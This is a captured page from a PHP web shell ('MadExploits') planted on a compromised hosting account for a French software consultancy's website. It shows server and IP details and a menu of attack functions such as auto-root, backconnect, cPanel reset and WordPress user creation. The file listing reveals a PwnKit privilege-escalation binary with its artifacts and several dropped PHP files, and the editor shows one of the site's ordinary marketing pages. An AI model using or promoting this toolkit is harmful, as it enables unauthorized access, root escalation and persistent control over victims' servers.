Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
fondative /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwx---r-x
fonts
[ DIR ]
drwx---r-x
js
[ DIR ]
drwx---r-x
media
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
avantages.html
10.09
KB
-rw----r--
best-practice-1.html
11.22
KB
-rw----r--
best-practice-2.html
11.19
KB
-rw----r--
best-practice-3.html
11.54
KB
-rw----r--
best-practice-4.html
11.71
KB
-rw----r--
best-practices.html
41.56
KB
-rw----r--
best-practices_old.html
41.27
KB
-rw----r--
cc.php
68.74
KB
-r--r--r--
clients.html
10.38
KB
-rw----r--
contact.html
9.23
KB
-rw----r--
convictions.html
10.75
KB
-rw----r--
expertise.html
10.06
KB
-rw----r--
index.html
41.53
KB
-rw----r--
mix-manifest.json
184
B
-rw----r--
offre-prototype.html
9.24
KB
-rw----r--
offre-scaling.html
9.45
KB
-rw----r--
offre.html
10.24
KB
-rw----r--
offres-devops.html
20.3
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
scx.php7
3.68
KB
-rw-r--r--
services-devops.html
8.97
KB
-rw----r--
services-web-mobile.html
9.27
KB
-rw----r--
success-stories.html
44.08
KB
-rw----r--
success-story-1.html
10
KB
-rw----r--
success-story-2.html
9.9
KB
-rw----r--
success-story-3.html
10.1
KB
-rw----r--
success-story-4.html
10.27
KB
-rw----r--
success-story-5.html
9.84
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : best-practice-2.html
<!doctype html><html lang="fr-FR"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,height=device-height,initial-scale=1"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="image" content="https://www.fondative.com/media/cover.jpg"><meta itemprop="name" content="Fondative – vos talents sont tellement précieux"><meta itemprop="image" content="https://www.fondative.com/media/cover.jpg"><meta property="og:image" content="https://www.fondative.com/media/cover.jpg"><meta property="og:type" content="website"><meta property="og:description" content="Vos talents sont tellement précieux"><meta property="twitter:image" content="https://www.fondative.com/media/cover.jpg"><meta property="twitter:description" content="Vos talents sont tellement précieux"><meta name="description" content="Vos talents sont tellement précieux"><meta name="theme-color" content="#000554"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin=""><link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin=""><link rel="preconnect" href="https://www.youtube.com" crossorigin=""><link rel="preconnect" href="https://s.ytimg.com" crossorigin=""><link rel="preload" as="font" href="./fonts/gotham/Gotham-Bold.woff2" type="font/woff2" crossorigin="anonymous"><link rel="apple-touch-icon" sizes="180x180" href="./media/favicon/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="./media/favicon/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="./media/favicon/favicon-16x16.png"><link rel="manifest" href="./media/favicon/site.webmanifest"><link rel="mask-icon" href="./media/favicon/safari-pinned-tab.svg" color="#000554"><meta name="msapplication-TileColor" content="#ffc40d"><link rel="stylesheet" href="./css/app.css"><title>Practice 2 — Fondative</title></head><body><main class="relative bg-black min-h-screen pattern"><div class="bg-practice2 body-pattern" style="background-image:url(media/patterns/intro_2.png);background-size:128px"></div><nav class="relative w-screen top-0 py-4 z-50 text-center mb-5 md:mb-40"><a href="./" title="Fondative" class="inline-block"><img src="./media/logo_horizontal_w.png?8b85b9e5e0deb48bd6a2ec15ae5cbbd1" class="logo" alt="Fondative"></a></nav><div class="container px-0 md:px-5"><div class="relative"><section class="flex relative z-10 flex-wrap md:flex-no-wrap md:mt-20"><aside class="practice_sidebar"><header class="practice_sidebar-header"><span class="uppercase text-lg md:text-xs">Best Practice</span><br><span class="text-6xl leading-none">2</span><h1 class="practice_heading">Conserver un code<br>et une architecture <i>clean</i></h1></header><div class="hidden md:flex flex-1 justify-center"><span class="h-full w-1 bg-white"></span></div></aside><article class="practice-content"><div class="practice-japanese_title practice-japanese_title--long"><h2 class="practice-japanese_title-label">美しいコードと構造</h2></div><div class="video video--extended mb-5 is-native" data-video-id="Ml64dNZe-F8"><div class="video_poster" style="background-image:url(media/practice2_bg.jpg)"></div><div class="video_wrapper is-native"><iframe class="video-placeholder" width="100%" height="auto" frameborder="0" src="https://www.youtube.com/embed/syOQyvxjje4?autoplay=1&mute=1&controls=1&disablekb=1&modestbranding=1&fs=1&iv_load_policy=3&rel=0&enablejsapi=1" allow="autoplay; fullscreen; encrypted-media; gyroscope" allowfullscreen="" webkitallowfullscreen="" mozallowfullscreen=""></iframe></div><div class="video_play"><button class="js-play-button"><img src="./media/play_button_big.png?d65a0f3640b62d1e75653ad7e8b0723d" alt="play" class="hidden md:inline-block"> <img src="./media/play_button.png?9a9f6e1aff1dbd9205699c1b864ca0ac" alt="play" class="md:hidden"></button></div></div><div class="px-4 md:px-0 md:pr-4"><p class="practice-p">Les meilleures technologies ne se contentent pas de simplement répondre aux besoins de leurs utilisateurs à un instant t. Leur code base évolutif leur permet de rapidement converger vers le scope fonctionnel souhaité – là où des logiciels conçus plus sommairement et pourtant fonctionnels a priori, ne peuvent répondre aux nouveaux besoins identifiés.</p><p class="practice-p">Malheureusement, bien trop souvent, les entreprises privilégient des logiques de court-terme dans le développement de leurs technologies (« spaghetti code » …), ce qui aboutit à une faible durabilité et rentabilité des investissements R&D.</p><p class="practice-p">Un éditeur de logiciel doit donc absolument viser – au-delà d’un logiciel fonctionnel – un code source aussi clean que possible, et ce, quel que soient sa taille et son niveau de maturité (POC, Version initiale V0, En production, etc.).</p><p class="practice-p">Pour ce faire, les équipes techniques doivent se plier aux règles de l’art dans l’élaboration d’une véritable architecture logicielle (backend évidemment - mais de plus en plus aussi frontend), afin que le code source:</p><ul class="practice-ul practice-ul--disc"><li>respecte les standards du développement logiciel ;</li><li>soit testable et embarque des tests automatisés ;</li><li>fasse régulièrement l’objet de refactorings ;</li><li>repose sur les versions les plus récentes des multiples <i>frameworks</i> ;</li><li>remédie rapidement aux problèmes de sécurité ou performance ;</li><li>soit intégré à un système et un processus de versioning adéquat ;</li><li>etc..</li></ul><p class="practice-p">Face aux évolutions technologiques (<i>frameworks</i>, <i>APIs</i> …), mais aussi aux mutations fonctionnelles importantes, l’architecture logicielle elle-même doit pouvoir évoluer et se transformer afin de mieux répondre aux besoins fonctionnels - en la découplant le plus possible des couches implémentant la logique business. Les design patterns SOLID, AFP, etc. sont aussi anciens que l’Internet et restent les clés d’une architecture de qualité.</p><p class="practice-p">Un <i>codebase</i> clean et reposant sur une architecture adéquate, garantit un niveau minimal de dette technique, tout en permettant de valoriser les investissements R&D pour de longues années et de répondre aux besoins du marché de manière rapide et efficace.</p><p class="practice-p">Surtout, avoir un code source pouvant être compris et contemplé par les développeurs sans trop d’effort, contribue directement à leur motivation et leur engagement. Avec une architecture qui laisse libre cours aux transformations de votre technologie, vos talents peuvent se concentrer sur le développement business et l’innovation.</p></div></article></section></div></div><div class="practice_menu-spacer"></div><menu class="practice_menu bg-practice2"><div class="flex items-center"><div class="practice_menu-title"><a href="./best-practice-1.html" class="practice_menu-title-label">BEST PRACTICE #1</a><div class="flex-auto min-w-1"><span class="practice_menu-line"></span></div></div><div class="px-2 md:px-5"><button class="menu-button js-menu-trigger" title="Ouvrir le menu"><svg width="70" height="80" viewBox="-5 -5 70 80"><path d="M30,0 L60,16 L60,50 L30,70 L0,50 L0,16z" stroke="#ffffff" stroke-width="5" fill="#000000" fill-opacity="0"></path><text fill="#ffffff" stroke-width="0" x="9" y="38" font-size="12" class="font-sans tracking-wider font-medium" text-anchor="start" xml:space="preserve">MENU</text></svg></button></div><div class="practice_menu-title"><div class="flex-auto min-w-1"><span class="practice_menu-line"></span></div><a href="./best-practice-3.html" class="practice_menu-title-label">BEST PRACTICE #3</a></div></div></menu><div class="menu-wrapper"><menu class="menu" id="js-menu"><div class="menu-content h-full overflow-y-auto"><div class="max-w-6xl mx-auto flex flex-col items-center h-full"><a href="./" class="block"><img src="./media/logo_square_bk.png?0b5050eea9a4713cd73d90653a48d400" alt="Fondative" class="w-20 md:w-24 inline-block"></a><nav class="menu-links w-full sm:w-4/5 uppercase md:text-xl text-lg font-bold pt-5 md:pt-0 leading-loose flex-auto flex flex-col md:justify-center overflow-y-auto scrolling-touch px-5"><div class="flex md:flex-row flex-col justify-center sm:justify-between"><div class="flex w-full sm:w-1/3 flex-col lg:px-5 md:px-5 md:items-start mb-3"><span class="block md:opacity-100 opacity-50 cursor-default">Nos Offres</span> <a href="./offres-devops.html" class="inline-block hover:text-blue-500 text-base"><img src="./media/Polygone.svg?5b70146d43006aeb300757590b16da2c" alt="" class="hidden md:inline-block w-2 mr-2 md:ml-3 ml-2">DevOps</a> <a href="./offre-prototype.html" class="inline-block hover:text-blue-500 text-base"><img src="./media/Polygone.svg?5b70146d43006aeb300757590b16da2c" alt="" class="hidden md:inline-block w-2 mr-2 md:ml-3 ml-2">Prototype</a> <a href="./offre-scaling.html" class="inline-block hover:text-blue-500 text-base"><img src="./media/Polygone.svg?5b70146d43006aeb300757590b16da2c" alt="" class="hidden md:inline-block w-2 mr-2 md:ml-3 ml-2">Scaling</a> <span class="block md:opacity-100 opacity-50 cursor-default mt-2">Nos Services</span> <a href="./services-devops.html" class="inline-block hover:text-blue-500 text-base"><img src="./media/Polygone.svg?5b70146d43006aeb300757590b16da2c" alt="" class="hidden md:inline-block w-2 mr-2 md:ml-3 ml-2">DevOps</a> <a href="./services-web-mobile.html" class="inline-block hover:text-blue-500 text-base"><img src="./media/Polygone.svg?5b70146d43006aeb300757590b16da2c" alt="" class="hidden md:inline-block w-2 mr-2 md:ml-3 ml-2">Web & Mobile</a></div><div class="flex w-full sm:w-1/3 flex-col lg:px-5 md:px-5 md:items-start pt-3 md:mt-0 md:pt-0 border-menu_grey md:border-t-0 border-t-2"><a href="./expertise.html" class="block hover:text-blue-500 md:mb-8">Notre Expertise</a> <a href="./avantages.html" class="block hover:text-blue-500 md:mb-8">Nos Avantages</a> <a href="./best-practices.html" class="block hover:text-blue-500 md:mb-8">Best Practices</a></div><div class="flex w-full sm:w-1/3 flex-col lg:px-5 md:px-5 md:items-start md:mt-0 md:pt-0"><a href="./success-stories.html" class="block hover:text-blue-500 md:mb-8">Nos Success Stories</a> <a href="./clients.html" class="block hover:text-blue-500 md:mb-8">Nos clients</a> <a href="./convictions.html" class="block hover:text-blue-500 md:mb-8">Nos Convictions</a> <a href="./contact.html" class="block hover:text-blue-500 md:mb-8">Contact</a></div></div></nav></div></div><div class="py-2 text-center w-full fixed bottom-0 bg-white flex justify-center items-center" style="z-index:999"><button class="menu-button js-menu-trigger" title="Ouvrir le menu"><svg width="70" height="80" viewBox="-5 -5 70 80"><path d="M30,0 L60,16 L60,50 L30,70 L0,50 L0,16z" stroke="#000000" stroke-width="5" fill="#000000" fill-opacity="0"></path><text fill="#000000" stroke-width="0" x="9" y="38" font-size="12" class="font-sans tracking-wider font-medium" text-anchor="start" xml:space="preserve">MENU</text></svg></button></div></menu></div></main><script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js"></script><script>WebFont.load({custom:{families:["Gotham"],urls:["./css/fonts.css"]},active:function(){"function"==typeof FontsLoadedCallback&&(FontsLoadedCallback(),WebFont.fontsLoaded=!0)},google:{families:["Noto Sans TC:900,400"]}})</script><script src="./js/app.js"></script></body></html>
Close